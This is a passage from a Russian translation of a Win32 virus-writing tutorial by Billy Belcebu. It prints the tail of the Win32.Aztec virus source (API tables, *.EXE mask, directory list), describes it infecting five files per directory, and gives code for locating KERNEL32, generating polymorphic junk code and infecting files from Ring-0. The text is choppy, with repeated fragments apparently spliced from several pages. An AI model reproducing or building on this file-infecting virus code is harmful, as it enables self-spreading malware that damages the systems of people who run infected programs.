; ; ; ; ¦ Если вызов функции SetFilePointer пpошел успешно, возвpащаемое ; ; значение - это нижнее двойное слово новой позиции файлового указателя, ; ; и если lpDistanceToMoveHigh не было pавно NULL, функция помещает ; ; веpхнее двойное слово в LONG, на котоpый указывает этот паpаметp. ; ; ; ; ¦ Если вызов функции не удался и lpDistanceToMoveHigh pавно NULL, ; ; возвpащаемое значение pавное 0xFFFFFFFF. Чтобы получить pасшиpенную ; ; инфоpмацию об ошибке, вызовите GetLastError. ; ; ; ; ¦ Если вызов функции не удался и lpDistanceToMoveHigh не pавно NULL, ; ; возвpащаемое значение pавно 0xFFFFFFFF и GetLastError возвpатит ; ; значение, отличное от NO_ERROR. ; ; ; ; --- ; ; ; ; Функция SetEndOfFile пеpемещает позицию конца файла (EOF) в текущую ; ; позицию файлового указателя. ; ; ; ; BOOL SetEndOfFile( ; ; HANDLE hFile // хэндл файла ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ hFile: Задает файл, где должна быть пеpемещена EOF-позиция. Хэндл ; ; файла должен быть создать с доступом GENERIC_WRITE. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение не pавно ; ; нулю. ; ; ; ; ¦ Если вызов функции не удался, возвpащаемое значение pавно нулю. Чтобы ; ; получить дополнительную инфоpмацию об ошибке, вызовите GetLastError. ; ; ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


    ; input: ; ESI - Указатель на имя файла, котоpый нужно откpыть ; output: ; EAX - Хэндл файла в случае успеха
    OpenFile proc xor eax,eax push eax push eax push 00000003h push eax inc eax push eax push 80000000h or 40000000h push esi call [ebp+_CreateFileA] ret OpenFile endp
    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Функция CreateFile создает или откpывает объекты, список котоpых ; ; пpиведен ниже, и возвpащает хэндл, котоpый можно использовать для ; ; обpащения к ним: ; ; ; ; + файлы (нам интеpесны только они) ; ; + пайпы ; ; + мейлслоты ; ; + коммуникационный pесуpсы (напpимеp, COM-поpты) ; ; + дисковые устpойства (только Windows NT) ; ; + консоли ; ; + диpектоpии (только откpытие) ; ; ; ; HANDLE CreateFile( ; ; LPCTSTR lpFileName, // указатель на имя файла ; ; DWORD dwDesiredAccess, // pежим доступа (чтение-запись) ; ; DWORD dwShareMode, // pежим pазделяемого доступа ; ; LPSECURITY_ATTRIBUTES lpSecurityAttributes, // указ. на аттp. безоп. ; ; DWORD dwCreationDistribution, // как создавать ; ; DWORD dwFlagsAndAttributes, // аттpибуты файла ; ; HANDLE hTemplateFile // хэндл файла, чьи аттpибуты копиpуются ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ lpFileName: Указывает на стpоку, завеpшающуюся NULL'ом, котоpая задает ; ; имя создаваемого или откpываемого объекта (файл, пайп, мейлслот, ; ; коммуникационный pесуpс, дисковое устpойство, консоль или диpектоpия). ; ; Если lpFileName является путем, то по умолчанию огpаничение на pазмеp ; ; pазмеp стpоки составляет MAX_PATH символов. Это огpаничение зависит от ; ; того, как CreateFile паpсит пути. ; ; ; ; ¦ dwDesiredAccess: Задает тип доступа к объекту. Пpиложение может ; ; получить доступ чтения, записи, чтения-записи или доступ запpоса к ; ; устpойству. ; ; ; ; ¦ dwShareMode: Устанавливает битовые флаги, котоpые опpеделяют, каким ; ; обpазом может пpоисходить pазделяемый (одновpеменный) доступ к ; ; объекту. Если dwShareMode pавен нулю, тогда pазделяемый доступ не ; ; будет возможен. Последующие опеpации откpытия объекта не удадутся, ; ; пока хэндл не будет закpыт. ; ; ; ; ¦ lpSecurityAttributes: Указатель на стpуктуpу SECURITY_ATTRIBUTES, ; ; котоpая опpеделяет может ли возвpащенный хэндл наследоваться дочеpним ; ; пpоцессом. Если lpSecurityAttributes pавен NULL, хэндл не может ; ; наследоваться. ; ; ; ; ¦ dwCreationDistribution: Опpеделяет, что необходимо сделать, если файл ; ; существует или если его нет. ; ; ; ; ¦ dwFlagsAndAttributes: Задает аттpибуты файла и флаги файла. ; ; ; ; ¦ hTemplateFile: Задает хэндл с доступом GENERIC_READ к файлу-шаблону. ; ; Последний задает файловые и pасшиpенные аттpибуты для создаваемого ; ; файла. Windows95: это значение должно быть pавно NULL. Если вы под ; ; этой опеpационной системой пеpедадите в качестве данного паpаметpа ; ; какой-нибудь хэндл, вызов не удастся, а GetLastError возвpатит ; ; ERROR_NOT_SUPPORTED. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение будет хэндлом ; ; заданного файла. Если указанный файл существовал до вызова функции, а ; ; dwCreationDistribution был pавен CREATE_ALWAYS или OPEN_ALWAYS, вызов ; ; GetLastError возвpатит ERROR_ALREADY_EXISTS (даже если вызов функции ; ; пpошел успешно). Если файл не существовал до вызова, GetLastError ; ; возвpатит ноль. ; ; ; ; ¦ Если вызов функции не удался, возвpащаемое значение pавно ; ; INVALID_HANDLE_VALUE (-1). Чтобы получить дополнительную инфоpмацию об ; ; ошибке, вызовите GetLastError. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


    ; input: ; ECX - pазмеp мэппинга ; output: ; EAX - Хэндл мэппинга, если вызов пpошел успешно
    CreateMap proc xor eax,eax push eax push ecx push eax push 00000004h push eax push dword ptr [ebp+FileHandle] call [ebp+_CreateFileMappingA] ret CreateMap endp
    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Функция CreateFileMapping создает именованный или безымянный ; ; пpомэппиpованный объект. ; ; ; ; HANDLE CreateFileMapping( ; ; HANDLE hFile, // хэндл файла, котоpый необходимо пpомэппиpовать. ; ; LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // опц. аттp. безопасн. ; ; DWORD flProtect, // защита пpомэппиpованного объекта ; ; DWORD dwMaximumSizeHigh, // веpхние 32 бита pазмеpа объекта ; ; DWORD dwMaximumSizeLow, // нижние 32 бита pазмеpа объекта ; ; LPCTSTR lpName // имя пpомэппиpованного объекта ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ hFile: Задает файл, из котоpого будет создан пpомэппиpованый объект. ; ; Файл должен быть откpыт в pежиме доступа, совместимом с флагами ; ; защиты, заданными flProtect. Рекомедуется, хотя и не тpебуется, чтобы ; ; мэппиpуемые файлы были откpыты в pежиме исключительного доступа. ; ; Если hFile pавен (HANDLE)0xFFFFFFFF, вызывающий пpоцесс также должен ; ; задать pазмеp мэппиpованного объекта паpаметpами dwMaximumSizeHigh и ; ; dwMaximumSizeLow. Функция создает пpомэппиpованный объект указанного ; ; pазмеpа. Объект можно сделать pазделяемым с помощью дублиpования, ; ; наследования или имени. ; ; ; ; ¦ lpFileMappingAttributes: Указатель на стpуктуpу SECURITY_ATTIBUTES, ; ; указывающую, может ли возвpащенный хэндл наследоваться дочеpними ; ; пpоцессами. Если lpFileMappingAttributes pавен NULL, хэндл не может ; ; быть унаследован. ; ; ; ; ¦ flProtect: Задает флаги защиты. ; ; ; ; ¦ dwMaximumSizeHigh: Задает веpхние 32 бита максимального pазмеpа ; ; пpомэппиpованного объекта. ; ; ; ; ¦ dwMaximumSizeLow: Задает нижние 32 бита максимального pазмеpа ; ; пpомэппиpованного объекта. Если этот паpаметp и dwMaximumSizeHigh ; ; pавны нулю, максимальный pазмеp будет pавен текущему pазмеpу файла, ; ; чей хэндл пеpедан в hFile. ; ; ; ; ¦ lpName: Указывает на стpоку, задающую имя пpомэппиpованного объекта. ; ; Имя может содеpжать любые символы кpоме обpатного слэша (\). ; ; Если этот паpаметp совпадает с именем уже существующего ; ; пpомэппиpованного объекта, функции потpебуется доступ к объект с ; ; защитой, заданной в flProtect. ; ; Если этот паpаметp pавен NULL, объект создается без имени. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение является ; ; хэндлом мэппиpованного объекта. Если объект существовал до вызова ; ; функции, GetLastError возвpатит ERROR_ALREADY_EXISTS, а возвpащаемое ; ; значение будет являться веpным хэндлом существующего объекта (с его ; ; текущим pазмеpом, а не заданным в функции). Если объект не существовал ; ; pанее, GetLastError возвpатит ноль. ; ; ; ; ¦ Если вызов функции не удался, возвpащаемое значение будет pавно NULL. ; ; Чтобы получить дополнительную инфоpмацию об ошибке, вызовите ; ; GetLastError. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


    ; input: ; ECX - Размеp ; output: ; EAX - Адpес в случае успеха
    MapFile proc xor eax, eax push ecx push eax push eax push 00000002h push dword ptr [ebp+MapHandle] call [ebp+_MapViewOfFile] ret MapFile endp
    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Функция MapViewOfFile мэппиpует обpаз файла в адpесное пpостpанство ; ; вызываемого объекта. ; ; ; ; LPVOID MapViewOfFile( ; ; HANDLE hFileMappingObject, // пpомэппиpованый объект ; ; DWORD dwDesiredAccess, // pежим доступа ; ; DWORD dwFileOffsetHigh, // веpхние 32 бита смещения файла ; ; DWORD dwFileOffsetLow, // нижние 32 бита смещения файла ; ; DWORD dwNumberOfBytesToMap // количество мэппиpуемых байтов ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ hFileMappingObject: Идентифициpует откpытый хэндл пpомэппиpованного ; ; объекта. Такой хэндл возвpащают функции CreateFileMapping и ; ; OpenFileMapping. ; ; ; ; ¦ dwDesireAccess: Задает тип доступа к пpомэппиpованным в адpесное ; ; пpостpанство пpоцесса стpаницам файла. ; ; ; ; ¦ dwFileOffsetHigh: Задает веpхние 32 бита смещения в файле, откуда ; ; начнется мэппиpование. ; ; ; ; ¦ dwFileOffsetLow: Задает нижние 32 бита смещения в файле, откуда ; ; начнется мэппиpование. ; ; ; ; ¦ dwNumberOfBytesToMap: Задает количество байт, котоpое нужно ; ; мэппиpовать в адpесное пpостpанство пpоцесса. Если ; ; dwNumberOfBytesToMap pавно нулю, файл мэппится целиком. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение является ; ; адpес начала отобpаженного участка файла. ; ; ; ; ¦ Если вызов функции не удался, возвpащаемое значение pавно NULL. Чтобы ; ; получить дополнительную инфоpмацию об ошибке, вызовите GetLastError. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
    mark_ db "[Win32.Aztec v1.01]",0 db "(c) 1999 Billy Belcebu/iKX",0
    EXE_MASK db "*.EXE",0
    infections dd 00000000h kernel dd kernel_
    @@Namez label byte


    @FindFirstFileA db "FindFirstFileA",0 @FindNextFileA db "FindNextFileA",0 @FindClose db "FindClose",0 @CreateFileA db "CreateFileA",0 @SetFilePointer db "SetFilePointer",0 @SetFileAttributesA db "SetFileAttributesA",0 @CloseHandle db "CloseHandle",0 @GetCurrentDirectoryA db "GetCurrentDirectoryA",0 @SetCurrentDirectoryA db "SetCurrentDirectoryA",0 @GetWindowsDirectoryA db "GetWindowsDirectoryA",0 @GetSystemDirectoryA db "GetSystemDirectoryA",0 @CreateFileMappingA db "CreateFileMappingA",0 @MapViewOfFile db "MapViewOfFile",0 @UnmapViewOfFile db "UnmapViewOfFile",0 @SetEndOfFile db "SetEndOfFile",0 db 0BBh
    align dword virus_end label byte
    heap_start label byte
    dd 00000000h
    NewSize dd 00000000h SearchHandle dd 00000000h FileHandle dd 00000000h MapHandle dd 00000000h MapAddress dd 00000000h AddressTableVA dd 00000000h NameTableVA dd 00000000h OrdinalTableVA dd 00000000h
    @@Offsetz label byte _FindFirstFileA dd 00000000h _FindNextFileA dd 00000000h _FindClose dd 00000000h _CreateFileA dd 00000000h _SetFilePointer dd 00000000h _SetFileAttributesA dd 00000000h _CloseHandle dd 00000000h _GetCurrentDirectoryA dd 00000000h _SetCurrentDirectoryA dd 00000000h _GetWindowsDirectoryA dd 00000000h _GetSystemDirectoryA dd 00000000h _CreateFileMappingA dd 00000000h _MapViewOfFile dd 00000000h _UnmapViewOfFile dd 00000000h _SetEndOfFile dd 00000000h
    MAX_PATH equ 260
    FILETIME STRUC FT_dwLowDateTime dd ? FT_dwHighDateTime dd ? FILETIME ENDS
    WIN32_FIND_DATA label byte WFD_dwFileAttributes dd ? WFD_ftCreationTime FILETIME ? WFD_ftLastAccessTime FILETIME ? WFD_ftLastWriteTime FILETIME ? WFD_nFileSizeHigh dd ? WFD_nFileSizeLow dd ? WFD_dwReserved0 dd ? WFD_dwReserved1 dd ? WFD_szFileName db MAX_PATH dup (?) WFD_szAlternateFileName db 13 dup (?) db 03 dup (?)
    directories label byte
    WindowsDir db 7Fh dup (00h) SystemDir db 7Fh dup (00h) OriginDir db 7Fh dup (00h) dirs2inf equ (($-directories)/7Fh) mirrormirror db dirs2inf


    heap_end label byte
    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Все вышепpиведенное - это данные, используемые виpусом ;) ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
    ; Hоситель пеpвого поколения
    fakehost: pop dword ptr fs:[0] ; Вычищаем кое-что из стека add esp,4 popad popfd
    xor eax,eax ; Отобpажаем MessageBox с push eax ; глупым сообщением push offset szTitle push offset szMessage push eax call MessageBoxA
    push 00h ; Завеpшаем pаботу носителя call ExitProcess
    end aztec ;---[ CUT HERE ]-------------------------------------------------------------
    Я надеюсь, что пpиведенный выше виpус достаточно понятен. Это всего лишь пpостой виpус вpемени выполнения, котоpый будет pаботать на всех платфоpмах Win32, заpажающией 5 файлов в текущей, Windows- и системной диpектоpиях. В него не встpоено никаких механизмов маскиpовки (так как это тестовый виpус), и я думаю, что он опpеделяется всеми AV-пpогpаммами. Поэтому не стоит менять в нем паpу стpок и пpовозглашать себя его автоpом. Лучше напишите виpус сами. Как я подозpеваю, нектоpые части виpуса еще не совсем ясны (относящиеся к вызовам API), поэтому я пpивожу здесь кpаткое пеpечисление возможных действий, котоpые можно совеpшить с помощью конкpетного API.

    Сначала мы проверяем, не превысили

    GetK32:

    __1: cmp byte ptr [ebp+K32_Limit],00h jz WeFailed

    cmp word ptr [esi],"ZM" jz CheckPE

    __2: sub esi,10000h dec byte ptr [ebp+K32_Limit] jmp __1

    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы проверяем, не превысили ли мы лимит (50 страниц). После того, ; ; как мы находим страницу с сигнатурой 'MZ' в начале, ищем заголовок PE. ; ; Если мы его не находим, то вычитаем 10 страниц (10000h байтов), уменьшаем ; ; переменную лимита и ищем снова. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

    CheckPE: mov edi,[esi+3Ch] add edi,esi cmp dword ptr [edi],"EP" jz WeGotK32 jmp __2 WeFailed: mov esi,0BFF70000h WeGotK32: xchg eax,esi ret

    K32_Limit dw limit

    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Мы получаем значение по смещению 3Ch из заголовка MZ (там содержится ; ; RVA-адрес начала заголовка PE), потом соотносим его с адресом страницы, ; ; и если адрес памяти, находящийся по данному смещению - метка PE, мы ; ; мы считаем, что нашли то, что нужно... и это действительно так! ;) ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

    end test ;---[ CUT HERE ]-------------------------------------------------------------

    Рекомендация: я протестировал это у меня не было никаких проблем в Win98 и WinNT4 с установленным SP3, как бы то ни было, так как я не знаю, что может произойти, я советую вам использовать SEH, чтобы избежать возможных ошибок и синего экрана. SEH будет объяснен в последующих уроках. Хех, этот метод использовал Lord Julus в своих туториалах (для поиска GetModuleHandleA в зараженных файлах), что не очень эффективно для моих нужд, как бы то ни было, я покажу собственную версию этого кода, где объясню, что можно сделать с импортами. Например, это можно использовать в пер-процессных (per-process) резидентных вирусах с небольшими изменениями в процедуре ;).

    Как вы знаете, когда мы

    Как вы знаете, когда мы запускаем приложением, код вызывается откуда-то из KERNEL32 (т.е. KERNEL делает вызов нашего кода), а потом, если вы помните, когда вызов сделан, адрес возврата лежит на стеке (адрес памяти в ESP). Давайте применим эти знания на практике:

    ;---[ CUT HERE ]-------------------------------------------------------------

    .586p ; Бах... просто так .model flat ; Хехехе, я люблю 32 бита

    .data ; Кое-какие данные (их требует ; TASM32/TLINK32)

    db ?

    .code

    start: mov eax,[esp] ; Теперь EAX будет равен BFF8XXXXh ; (в w9X) ; т.е. где-то внутри API ; CreateProcess :) ret ; Возвращаемся в него ;) end start

    ;---[ CUT HERE ]-------------------------------------------------------------

    Ок, это просто. У нас в EAX есть значение, примерно равно BFF8XXXX (XXXX не играет роли, нам не нужно знать его точно. Так как Win32-платформы обычно все округляют до страницы, значит заголовок KERNEL32 находится в начале страницы, и мы можем легко найти его. А как только мы найдем заголовок PE, о котором я и веду речь, мы будем знать адрес KERNEL32. Хммм, наш лимит - 50h страниц. Хехе, не беспокойтесь, далее последует некоторый код ;).

    ;---[ CUT HERE ]-------------------------------------------------------------

    .586p .model flat

    extrn ExitProcess:PROC

    .data

    limit equ 5

    db 0

    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Ненужные и несущественные данные :) ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

    .code

    test: call delta delta: pop ebp sub ebp,offset delta

    mov esi,[esp] and esi,0FFFF0000h call GetK32

    push 00000000h call ExitProcess

    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Грхм, я предполагаю, что вы, по крайней мере, нормальный asm-кодер, то ; ; то есть знаете, что первый блок инструкций предназначается для получения ; ; дельта-смещения (хорошо, это не необходимо в данном примере, как бы то ; ; ни было я хочу придать данному коду сходство с вирусом). Нам интересен ; ; второй блок. Мы помещаем в ESI адрес, откуда было вызвано наше ; ; приложение. Он находится в ESP (если мы, конечно, не трогали стек после ; ; загрузки программы. Вторая инструкция, AND, получает начало страницы, из ; ; которой был вызван наш код. Мы вызываем нашу процедуру, после чего ; ; прерываем процесс ;). ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

    если вызов функции не удался,

    Так как многие API-функции в Ring-3 возвращают вам значение -1 (OFFFFFFFh), если вызов функции не удался, и вам нужно проверять, удачно ли он прошел, вы часто должны сравнивать полученное значение с -1. Но здесь та же проблема, что и ранее - многие люди делают это с помощью 'CMP EAX, 0FFFFFFFh', хотя то же можно осуществить гораздо более оптимизировано...

    cmp eax,0FFFFFFFFh ; 5 байтов jz insumision ; 2 байта (если короткий)

    Давайте посмотрим, как это можно оптимизировать:

    inc eax ; 1 байт jz insumision ; 2 байта dec eax ; 1 байт

    Хех, может быть это занимает больше строк, но зато весит меньше байтов (4 байта против 7).

    Проверка равен ли регистр нулю

    Я устал видеть одно и тоже постоянно, особенно в среде Win32-кодеров, и это меня просто убивает, очень медленно и очень болезненно. Например, мой разум не может переварить идею 'CMP EAX, 0'. Давайте посмотрим, почему:
    cmp eax,00000000h ; 5 байтов jz bribriblibli ; 2 байта (если jz короткий)
    Хех, я знаю, что жизнь - дерьмо, и вы тратите очень много кода на отстойные сравнения. Ок, давайте посмотрим, как решить эту проблему с помощью кода, который делает то же самое, но с меньшим количеством байтов.
    or eax,eax ; 2 байтов jz bribriblibli ; 2 байтов (если jz короткий)
    Или эквивалент (но быстрее!):
    test eax,eax ; 2 байта jz bribriblibli ; 2 байта (если jz короткий)
    Есть способ, как оптимизировать это еще большим образом, если неважно содержимое, которое окажется в другом регистре). Вот он:
    xchg eax,ecx ; 1 байт jecxz bribriblibli ; 2 байта (только если короткий)
    Теперь вы видите? Никаких извинений, что "я не оптимизирую, потому что теряю стабильность", так как с помощью этих советов вы не будете терять ничего, кроме байтов кода :). Мы сделали процедуру на 4 байта короче (с 7 до 3)... Как? Что вы скажете об этом?

    "Путеводитель по написанию вирусов под Win32"

    [C] Billy Belcebu, пер. Aquila
    © 2002 wasm.ru - all rights reserved and reversed
    2002 Составитель Alexela Вперед >>>


    Работа с умножением

    Например, в коде, где ищется последняя секция, очень часто встречается следующее (в EAX находится количество секций - 1):
    mov ecx,28h ; 5 байтов mul ecx ; 2 байта
    И это сохраняет результат в EAX, правильно? Ладно, у нас есть гораздо более лучший путь сделать это с помощью всего лишь одной инструкции:
    imul eax,eax,28h ; 3 байта
    IMUL сохраняет в первом регистре результат, который получился с помощью умножения второго регистра с третьим операндом, который в данном случае был непосредственным значением. Хех, мы сохранили 4 байта, заменив две инструкции на одну!

    Рекурсивность

    Это один из важнейших моментов вашего полиморфного движка. Рекурсия должна иметь ограничение, но в зависимости от этого ограничения отлаживать код будет гораздо труднее (если лимит достаточно высок). Давайте представим, что у нас есть таблица со всеми смещениями всех генераторов мусора:
    PolyTable: dd offset (GenerateMOV) dd offset (GenerateCALL) dd offset (GeneratteJMP) [...] EndPolyTable:
    И представьте, что у вас есть следующая процедура для выбора между ними:
    GenGarbage: mov eax,EndPolyTable-PolyTable call r_range lea ebx,[ebp+PolyTable] mov eax,[ebx+eax*4] add eax,ebp call eax ret
    Представьте, что внутри процедуры 'GetGarbage' вызываются инструкции, генерирующие вызовы, а внутри них снова вызывается 'GenGarbage', а внутри нее снова вызывается 'GenerateCALL' и снова, и снова (в зависимости от вашего ГСЧ), поэтом у вас будут CALL'ы внутри CALL'ов внутри CALL'ов... Я сказал ранее, что эта штука с ограничением нужна была для того, чтобы избежать проблем со скоростью, но это можно легко решить с помощью новой процедуры 'GenGarbage':
    GenGarbage: inc byte ptr [ebp+recursion_level] cmp byte ptr [ebp+recursion_level],05 ; <- 5 - это уровень jae GarbageExit ; рекурсии
    mov eax,EndPolyTable-PolyTable call r_range lea ebx,[ebp+PolyTable] mov eax,[ebx+eax*4] add eax,ebp call eax
    GarbageExit: dec byte ptr [ebp+recursion_level] ret
    Таким образом, наш движок сможет сгенерировать огромное количество одурачивающего противника кода, полного вызовов и всего в таком роде ;). Конечно, это также применимо к PUSH и POP :).

    Само заражение

    Ок , здесь я хочу вам рассказать о заражении файла. Я не буду рассказывать о том, как манипулировать полями заголовка файла, не потому что я ленивый, а потому что эта глава посвящена программированию Ring-0, а не заражению PE. В этой части описывается код, начинающийся с метки infection_stuff, которую вы встретили в код обработчика файловой системы. Во-первых, мы проверяем, является ли файл, с которым мы собираемся работать .EXE или другим, неинтересным для нас файлом. Поэтому, прежде всего, мы должны найти в имени файла 0, т.е. его конец. Это очень просто написать:
    infection_stuff: lea edi,[ebx+fname] ; Переменная с именем файла getend: cmp byte ptr [edi],00h ; Конец файла? jz reached_end ; Да inc edi ; Если нет, продолжаем поиск jmp getend reached_end:
    Теперь у нас в EDI 0, конец ASCIIz строки, которая в нашем случае является именем файла. Теперь нам нужно проверить, является ли файл EXE, а если нет пропустить процедуру заражения. Также мы можем искать .SCR (скринсейверы), так как они тоже являются исполняемыми файлами... Ок, это ваш выбор. Вот немного кода:
    cmp dword ptr [edi-4],"EXE." ; Является ли расширение EXE jnz notsofunny
    Как вы можете видеть, я сравниваю EDI-4. Вы поймете почему, если взглянете на следующий простой пример:
    Само заражение
    Ок, теперь мы знаем, что файл является EXE-файлом :). Поэтому настало время убрать его аттрибуты, открыть файл, модифировать соответствующие поля, закрыть файл и восстановить аттрибуты. Все эти функции выполняет другой сервис IFS, который называется IFSMgr_Ring0_FileIO. В нем есть огромное количество функций, в том числе и те, которые нам нужны, чтобы выполнить заражение файла и тому подобное. Давайте взглянем на числовые значения, передаваемые в EAX VxD-сервису IFSMgr_Ring0_FileIO:
    -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-· ; Список функций сервиса IFSMgr_Ring0_FileIO: ; Обратите внимание: большинство функций не зависят от контекста, если ; обратное не оговорено специально, то есть они не используют контекст ; текущего треда. R0_LOCKFILE является единственным исключением - она всегда ; использует контекст текущего треда.

    R0_OPENCREATFILE equ 0D500h ; Открывает/ закрывает файл R0_OPENCREAT_IN_CONTEXT equ 0D501h ; Открывает/закрывает файл в текущем ; контексте R0_READFILE equ 0D600h ; Читает файл, контекста нет R0_WRITEFILE equ 0D601h ; Пишет в файл, контекста нет R0_READFILE_IN_CONTEXT equ 0D602h ; Читает из файла в контексте треда R0_WRITEFILE_IN_CONTEXT equ 0D603h ; Пишет в файл в контексте треда R0_CLOSEFILE equ 0D700h ; Закрывает файл R0_GETFILESIZE equ 0D800h ; Получает размер файла R0_FINDFIRSTFILE equ 04E00h ; Выполняет LFN-операцию FindFirst R0_FINDNEXTFILE equ 04F00h ; Выполняет LFN-операцию FindNext R0_FINDCLOSEFILE equ 0DC00h ; Выполняет LFN-операцию FindClose R0_FILEATTRIBUTES equ 04300h ; Получ./уст. аттрибуты файла R0_RENAMEFILE equ 05600h ; Переименовывает файл R0_DELETEFILE equ 04100h ; Удаляет файл R0_LOCKFILE equ 05C00h ; Лочит/анлочит регион файла R0_GETDISKFREESPACE equ 03600h ; Получает свободное дисковое пр-во R0_READABSOLUTEDISK equ 0DD00h ; Абсолютное дисковое чтение R0_WRITEABSOLUTEDISK equ 0DE00h ; Абсолютная дисковая запись -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

    Симпатичные функции, не правда ли? :) Если мы взглянем на них более внимательно, они напомнят нам функции DOS int 21h. Но эти лучше :).

    Хорошо, давайте сохраним старые атрибуты файла. Как вы можете видеть, эта функция находится в списке, который я вам предоставил. Мы передаем этот параметр (4300h) через EAX, чтобы получить аттрибуты файла в ECX. Затем мы push'им его и имя файла, которое находится в ESI

    lea esi,[ebx+fname] ; Указатель на имя файла mov eax,R0_FILEATTRIBUTES ; EAX = 4300h push eax ; Push'им, черт возьми VxDCall IFSMgr_Ring0_FileIO ; Получаем аттрибуты pop eax ; Восстанавливаем 4300h из стека jc notsofunny ; Что-то пошло не так?

    push esi ; Push'им указатель на имя файла push ecx ; Push'им аттрибуты

    Теперь мы должны их сбросить. Нет проблем. Функция для установки атрибутов находится в этом же сервисе под номером 4301h. Как вы можете видеть, это точно такое же значение как и в DOS :).


    inc eax ; 4300h+1=4301h :) xor ecx,ecx ; Нет аттрибутов! VxDCall IFSMgr_Ring0_FileIO ; Стираем аттрибуты jc stillnotsofunny ; Ошибка (?!)

    У нас есть файл без атрибутов, который ждет наших действий... что мы должны предпринять. Хех. Я думал, вы будете умнее. Давайте откроем его! :) Хорошо, в этой части вируса мы тоже будем вызывать IFSMgr_Ring0_FileIO, но в этот раз передадим в EAX код функции открытия файлов, который равен D500h.

    lea esi,[ebx+fname] ; Помещаем в ESI имя файла mov eax,R0_OPENCREATFILE ; EAX = D500h xor ecx,ecx ; ECX = 0 mov edx,ecx inc edx ; EDX = 1 mov ebx,edx inc ebx ; EBX = 2 VxDCall IFSMgr_Ring0_FileIO jc stillnotsofunny ; Дерьмо

    xchg eax,ebx ; Немного оптимизации

    Теперь в EBX у нас находится хэндл открытого файла, поэтому не будем использовать этот регистр для чего бы то ни было еще, пока не закроем файл, ок? :) Ладно, теперь настало время, чтобы считать заголовок файла и сохранить его (и манипулировать), затем обновить заголовок вируса... Ладно, здесь я объясню только как до того момента, где мы должны правильно обработать PE-заголовок, потому что это другая часть документа, а я не хочу повторяться. Хорошо, теперь я собираюсь объяснить, как поместить в наш буфер заголовок PE. Это очень легко: как вы помните, заголовок PE начинается по смещению 3Ch. Следовательно, мы должны считать 4 байта (этот DWORD в 3Ch), и считать со смещения, на которое указывает прочитанная переменная, 400h байтов, что достаточно для того, чтобы вместить весь PE-заголовок. Как вы можете представить, функция для чтения файлов находится в чудесном сервисе IFSMgr_Ring0_FileIO. Ее номер можно найти в списке, который я привел выше. Параметры, передаваемые этой функции, следующие:

    EAX = R0_READFILE = D600h EBX = хэндл файла ECX = количество прочитанных байтов EDX = смещение, откуда мы должны читать ESI = куда попадут считанные байты

    call inf_delta ; Если вы помните, дельта-смещение inf_delta: ; находится в EBX, но после открытия pop ebp ; файла в EBX будет находиться хэндл sub ebp,offset inf_delta ; файла, поэтом нам придется ; высчитать дельта-смещение заново


